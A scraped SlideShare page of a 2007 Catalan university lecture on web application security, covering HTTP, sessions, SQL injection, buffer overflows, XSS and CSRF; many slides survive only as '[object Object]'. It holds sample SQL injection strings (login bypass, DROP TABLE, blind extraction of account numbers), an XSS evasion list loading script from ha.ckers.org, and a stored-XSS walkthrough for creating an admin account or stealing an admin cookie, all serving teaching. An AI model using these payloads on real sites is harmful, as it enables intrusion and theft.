SlideShare a Scribd company logo
1 of 78
LCFIB- 2007 Seguretat en aplicacions web Jordi Planadecursach   [email_address] Héctor Puente   [email_address]
LCFIB- 2007 Parlarem de… Protocol HTTP Sistemes d’autenticació Cookies Vulnerabilitats més comuns  Polítiques de control d’accés  Tractament d’erros i logging
LCFIB- 2007 Parlarem de… Com protegir dades sensibles  Polítiques de seguretat Testing de seguretat
LCFIB- 2007 Introducció  Que tenen en comú la majoria d’aplicacions web?
LCFIB- 2007 Que tenen el port 80 obert (o el 443)
LCFIB- 2007 Atacant Servidor Web ,[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Com es realitzen els atacs?
LCFIB- 2007 75%  dels atacs estan destinats a la capa d’aplicació 2/3  aplicacions web són en major o menor mesura vulnerables
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],HTTP Hyper Text Transfer Protocol
LCFIB- 2007 GET   http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0& s=hola   HTTP/1.0 Accept:  */* Accept-Language:  es Cookie:  SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim; Apache=147.83.58.208.1184685235517970 User-Agent:  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host:  raco.fib.upc.es Connection:  Keep-Alive
LCFIB- 2007 POST   https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin   HTTP/1.0 Referer:  http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0 Connection:  Keep-Alive User-Agent:  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host:  raco.fib.upc.es Cache-Control:  no-cache Cookie:  CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50; JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim; SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;  url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet%2Flcfib.racons.Portal& username=usuari & password=contrassenya &x=0&y=0
LCFIB- 2007 Interceptant peticions HTTP Web Scarab
LCFIB- 2007 Mètodes d’autenticació  Com identificar qui està fent peticions ?
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object]
LCFIB- 2007 Cookies
LCFIB- 2007 ,[object Object],[object Object],[object Object],Http Session … . 76C98A6F9A6987F9083 O7CAFO6FAB6O6BB55A 1AFD6786C876A087F6D Objecte Sessió Session ID
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],No inventar-se un sistema de sessions propi Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID
LCFIB- 2007 ,[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object]
LCFIB- 2007 Vulnerabilitats més usuals
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],Validació de l’entrada
LCFIB- 2007 Atacant Servidor Web ,[object Object],[object Object],[object Object],SQL Injection
LCFIB- 2007 ,[object Object],[object Object],<form method=&quot;post&quot; action=&quot; http://www.diseney.com/login.php &quot;>    <input name=“ username &quot; type=&quot;text&quot; id=&quot;tfUName&quot;>    <input name=“ password &quot; type=&quot;password&quot; id=&quot;tfUPass&quot;>  </form>   String username = request.getParameter(“username”); String password = request.getParameter(“password”); String sql = “ SELECT * FROM USERNAME WHERE username=‘”  +  username  +  “’ and password=‘”  +  password  +  “’” ;  ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false;
LCFIB- 2007 Username:  admin   Password:  1234 SQL generat:  SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ 1234 ’ ; Username:  admin   Password:  ‘ OR ‘’=‘ SQL generat:  SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ ‘ OR ‘’=‘ ’ ;   Username:  admin   Password:  ’; DROP TABLE logins where ‘’=‘ SQL generat:  SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ ’;   drop table logins where ‘’=‘ ’ ;   String sql = “ SELECT * FROM logins WHERE username=‘”  +  username  +  “’ AND password=‘”  +  password  +  “’” ;
LCFIB- 2007 ,[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],<form method=&quot;post&quot; action=&quot; http://www.diseney.com/login.php &quot;>    <input name=“ username &quot; type=&quot;text&quot; id=&quot;tfUName&quot;>    <input name=“ pin_code &quot; type=&quot;password&quot; id=&quot;tfUPass&quot;>  </form>   String username = request.getParameter(“username”); String pin_code = request.getParameter(“password”); String sql = “ SELECT * FROM USERNAME WHERE username=‘”  +  username  +  “’ and pin_code= ”  +  pin_code ;  ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false;
LCFIB- 2007 Username:  admin   Password:  1 OR 1=1 SQL generat:  SELECT * FROM logins WHERE username=‘ admin ’ AND pin_code= 1 OR 1=1 Altres vectors: 1 OR HAVING 1=1  Error, ‘cuenta_corriente’ is not on the group by clause 1 OR GROUP BY cuenta_corriente HAVING 1=1  Error, ‘dni’ is not on the group by clause 1 OR GROUP BY cuenta_corriente,dni HAVING 1=1  Error, ‘direccion’ is not on the group by clause 1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256”   1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000”   1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1)   String sql = “ SELECT * FROM logins WHERE username=‘”  +  username  +  “’ AND pin_code=”  +  pin_code ;
LCFIB- 2007 ,[object Object],[object Object],String pinString = request.getParameter(“pin_code”); try{   int pinCode = Integer.parseInt(pinString); }catch (NumericException ex){   System.out.println(“Hacker go away!”); }
LCFIB- 2007 Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){   char query_string[1024];   int query_size;   query_size = atoi(getenv(“CONTENT_LENGTH”));   fread(query_string,query_size,1,stdin);   return query_string; }
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007
LCFIB- 2007 Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){   char query_string[1024];   int query_size;   query_size = atoi(getenv(“CONTENT_LENGTH”));   fread(query_string,query_size,1,stdin);   return query_string; }
LCFIB- 2007 Solució: comprovar tamany de l’entrada #include <stdlib.h> #include <stdio.h> char* read_POST(){   char query_string[1024];   int query_size;   query_size = atoi(getenv(“CONTENT_LENGTH”));   fread(query_string, min(query_size,1024) ,1,stdin);   return query_string; }
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],Altres injections String consulta = “user[name/text()=‘” + usuari + ”' and password/text()=‘” + password + ”']/account/text())”   XmlReader.query(consulta);
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],Cross Site Scripting (XSS) ,[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Stored XSS
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Reflected XSS
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=&quot;javascript:alert('XSS');&quot;> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
LCFIB- 2007 ,[object Object],<BODY onload!#$%&()*~+-_.,:;?@[/|^`=alert(&quot;XSS&quot;)> <<SCRIPT>alert(&quot;XSS&quot;);//<</SCRIPT> <iframe src=http://ha.ckers.org/scriptlet.html < amp;quot;;alert('XSS');// <INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert('XSS');&quot;> <BODY BACKGROUND=&quot;javascript:alert('XSS')&quot;>
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 Cross Site Reference Forgery (CSRF) ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 Controls d’accés Que pot fer i no pot fer un usuari? ,[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 Errors d’autenticació Que pot indicar un error ,[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
LCFIB- 2007 Exemple pràctic amb e-Catalunya
LCFIB- 2007 Objectiu ,[object Object],Procediment ,[object Object],[object Object],[object Object],[object Object],En la última versió:  Modificació per tal de no poder incluir script a les eines Problemàtica:  Dificultat de detectar la inclusió d’un script
LCFIB- 2007
LCFIB- 2007 Hacker Obtenció d’URL d’administració CREAR NOU USUARI + Esbrinar la URL de la pàgina de crear un nou usuari + Esbrinar el nom dels camps del formulari (nom, id, email) + Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificat ASSIGNAR PERMISOS D’ADMINISTRACIÓ + Idem que l’anterior però usant la pàgina d’assignar permisos Obtenir URL
LCFIB- 2007 Hacker <script> … crear_usuari(X) fer_administrador(X) … </script> Creació de Script maligne SCRIPT + Cridar URL1 (crear nou usuari) + Cridar URL2 (assigna al nou usuari permisos d’administrador) (si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script)
LCFIB- 2007 Hacker Introduir script maligne com a comentari a l’e-blog <script> … crear_usuari(X) administrador(X) … </script> Introduir SCRIPT a l’e-Blog
LCFIB- 2007 Hacker Ingenieria social Administrador Enviar un mail a l’admin amb l’enllaç al blog Quan l’administrador vagi a veure el Blog, si aquest està identificat, s’executarà l’script insertat. Aquest crearà un nou usuari amb permisos d’administrador que el  hacker podrà utilitzar per fer maldats. També es podria robar la cookie de l’admin per tal de fer una suplantació d’identitat.
LCFIB- 2007

More Related Content

Similar to Seguridad en aplicaciones web

Exercicis propsats tema 3 sergi
Exercicis propsats tema 3 sergiExercicis propsats tema 3 sergi
Exercicis propsats tema 3 sergisergillag
 
Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)Carlos Campderrós
 
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCPaquita Ribas
 
Exercicis proposats tema 3
Exercicis proposats tema 3Exercicis proposats tema 3
Exercicis proposats tema 3RalucaVonicaG
 
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOCPaquita Ribas
 
Criptografia InhalàMbrica
Criptografia InhalàMbricaCriptografia InhalàMbrica
Criptografia InhalàMbricakategat
 
Exercicis proposats tema 3
Exercicis proposats tema 3Exercicis proposats tema 3
Exercicis proposats tema 3Raquel Rivas
 
Executar scripts d'inici i crear un altre usuari amb AirOs d'Ubiquiti
Executar scripts d'inici i crear un altre usuari amb AirOs d'UbiquitiExecutar scripts d'inici i crear un altre usuari amb AirOs d'Ubiquiti
Executar scripts d'inici i crear un altre usuari amb AirOs d'UbiquitiJordi Clopés Esteban
 
Monitorització SNMP amb Cacti a Debian Squeeze
Monitorització SNMP amb Cacti a Debian SqueezeMonitorització SNMP amb Cacti a Debian Squeeze
Monitorització SNMP amb Cacti a Debian SqueezeJordi Clopés Esteban
 
Crypto Party BCN
Crypto Party BCNCrypto Party BCN
Crypto Party BCNjordi.ipa
 
Exercicis proposats tema3
Exercicis proposats  tema3Exercicis proposats  tema3
Exercicis proposats tema3Carlota Planas
 
Exercici 2 tema 3
Exercici 2 tema 3Exercici 2 tema 3
Exercici 2 tema 3wargod1805
 
Exercicis propsats tema 3 kevin
Exercicis propsats tema 3 kevinExercicis propsats tema 3 kevin
Exercicis propsats tema 3 kevinKevin Martinez
 
Capturar claus amb Wireshark o la sobre importància del xifrat
Capturar claus amb Wireshark o la sobre importància del xifratCapturar claus amb Wireshark o la sobre importància del xifrat
Capturar claus amb Wireshark o la sobre importància del xifratJordi Clopés Esteban
 

Similar to Seguridad en aplicaciones web (20)

Presentació del servidor Apache
Presentació del servidor ApachePresentació del servidor Apache
Presentació del servidor Apache
 
Seguretat
SeguretatSeguretat
Seguretat
 
Exercicis propsats tema 3 sergi
Exercicis propsats tema 3 sergiExercicis propsats tema 3 sergi
Exercicis propsats tema 3 sergi
 
Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)
 
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 - Grau Multimèdia - UOC
 
Exercici 2 tema3
Exercici 2 tema3Exercici 2 tema3
Exercici 2 tema3
 
Exercicis proposats tema 3
Exercicis proposats tema 3Exercicis proposats tema 3
Exercicis proposats tema 3
 
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOCXarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOC
Xarxes Multimèdia - PAC 2 solució - Grau Multimèdia - UOC
 
Criptografia InhalàMbrica
Criptografia InhalàMbricaCriptografia InhalàMbrica
Criptografia InhalàMbrica
 
Exercicis proposats tema 3
Exercicis proposats tema 3Exercicis proposats tema 3
Exercicis proposats tema 3
 
Executar scripts d'inici i crear un altre usuari amb AirOs d'Ubiquiti
Executar scripts d'inici i crear un altre usuari amb AirOs d'UbiquitiExecutar scripts d'inici i crear un altre usuari amb AirOs d'Ubiquiti
Executar scripts d'inici i crear un altre usuari amb AirOs d'Ubiquiti
 
Monitorització SNMP amb Cacti a Debian Squeeze
Monitorització SNMP amb Cacti a Debian SqueezeMonitorització SNMP amb Cacti a Debian Squeeze
Monitorització SNMP amb Cacti a Debian Squeeze
 
Crypto Party BCN
Crypto Party BCNCrypto Party BCN
Crypto Party BCN
 
Exercicis proposats tema3
Exercicis proposats  tema3Exercicis proposats  tema3
Exercicis proposats tema3
 
Exercici 2 tema 3
Exercici 2 tema 3Exercici 2 tema 3
Exercici 2 tema 3
 
Exercicis propsats tema 3 kevin
Exercicis propsats tema 3 kevinExercicis propsats tema 3 kevin
Exercicis propsats tema 3 kevin
 
Pràctica 2
Pràctica 2Pràctica 2
Pràctica 2
 
Internet
InternetInternet
Internet
 
Capturar claus amb Wireshark o la sobre importància del xifrat
Capturar claus amb Wireshark o la sobre importància del xifratCapturar claus amb Wireshark o la sobre importància del xifrat
Capturar claus amb Wireshark o la sobre importància del xifrat
 
Presentacio 2 t 3
Presentacio 2 t 3Presentacio 2 t 3
Presentacio 2 t 3
 

Seguridad en aplicaciones web

  • 1. LCFIB- 2007 Seguretat en aplicacions web Jordi Planadecursach [email_address] Héctor Puente [email_address]
  • 2. LCFIB- 2007 Parlarem de… Protocol HTTP Sistemes d’autenticació Cookies Vulnerabilitats més comuns Polítiques de control d’accés Tractament d’erros i logging
  • 3. LCFIB- 2007 Parlarem de… Com protegir dades sensibles Polítiques de seguretat Testing de seguretat
  • 4. LCFIB- 2007 Introducció Que tenen en comú la majoria d’aplicacions web?
  • 5. LCFIB- 2007 Que tenen el port 80 obert (o el 443)
  • 6.
  • 7.
  • 8.
  • 9. LCFIB- 2007 75% dels atacs estan destinats a la capa d’aplicació 2/3 aplicacions web són en major o menor mesura vulnerables
  • 10.
  • 11. LCFIB- 2007 GET http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0& s=hola HTTP/1.0 Accept: */* Accept-Language: es Cookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim; Apache=147.83.58.208.1184685235517970 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host: raco.fib.upc.es Connection: Keep-Alive
  • 12. LCFIB- 2007 POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0 Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0&section=0 Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Host: raco.fib.upc.es Cache-Control: no-cache Cookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50; JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim; SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet%2Flcfib.racons.Portal& username=usuari & password=contrassenya &x=0&y=0
  • 13. LCFIB- 2007 Interceptant peticions HTTP Web Scarab
  • 14. LCFIB- 2007 Mètodes d’autenticació Com identificar qui està fent peticions ?
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39. LCFIB- 2007 Username: admin Password: 1234 SQL generat: SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ 1234 ’ ; Username: admin Password: ‘ OR ‘’=‘ SQL generat: SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ ‘ OR ‘’=‘ ’ ; Username: admin Password: ’; DROP TABLE logins where ‘’=‘ SQL generat: SELECT * FROM logins WHERE username=‘ admin ’ AND password=‘ ’; drop table logins where ‘’=‘ ’ ; String sql = “ SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’” ;
  • 40.
  • 41.
  • 42. LCFIB- 2007 Username: admin Password: 1 OR 1=1 SQL generat: SELECT * FROM logins WHERE username=‘ admin ’ AND pin_code= 1 OR 1=1 Altres vectors: 1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause 1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause 1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause 1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256” 1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000” 1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1) String sql = “ SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code ;
  • 43.
  • 44. LCFIB- 2007 Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string; }
  • 45.
  • 47. LCFIB- 2007 Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string; }
  • 48. LCFIB- 2007 Solució: comprovar tamany de l’entrada #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string, min(query_size,1024) ,1,stdin); return query_string; }
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71. LCFIB- 2007 Exemple pràctic amb e-Catalunya
  • 72.
  • 74. LCFIB- 2007 Hacker Obtenció d’URL d’administració CREAR NOU USUARI + Esbrinar la URL de la pàgina de crear un nou usuari + Esbrinar el nom dels camps del formulari (nom, id, email) + Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificat ASSIGNAR PERMISOS D’ADMINISTRACIÓ + Idem que l’anterior però usant la pàgina d’assignar permisos Obtenir URL
  • 75. LCFIB- 2007 Hacker <script> … crear_usuari(X) fer_administrador(X) … </script> Creació de Script maligne SCRIPT + Cridar URL1 (crear nou usuari) + Cridar URL2 (assigna al nou usuari permisos d’administrador) (si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script)
  • 76. LCFIB- 2007 Hacker Introduir script maligne com a comentari a l’e-blog <script> … crear_usuari(X) administrador(X) … </script> Introduir SCRIPT a l’e-Blog
  • 77. LCFIB- 2007 Hacker Ingenieria social Administrador Enviar un mail a l’admin amb l’enllaç al blog Quan l’administrador vagi a veure el Blog, si aquest està identificat, s’executarà l’script insertat. Aquest crearà un nou usuari amb permisos d’administrador que el hacker podrà utilitzar per fer maldats. També es podria robar la cookie de l’admin per tal de fer una suplantació d’identitat.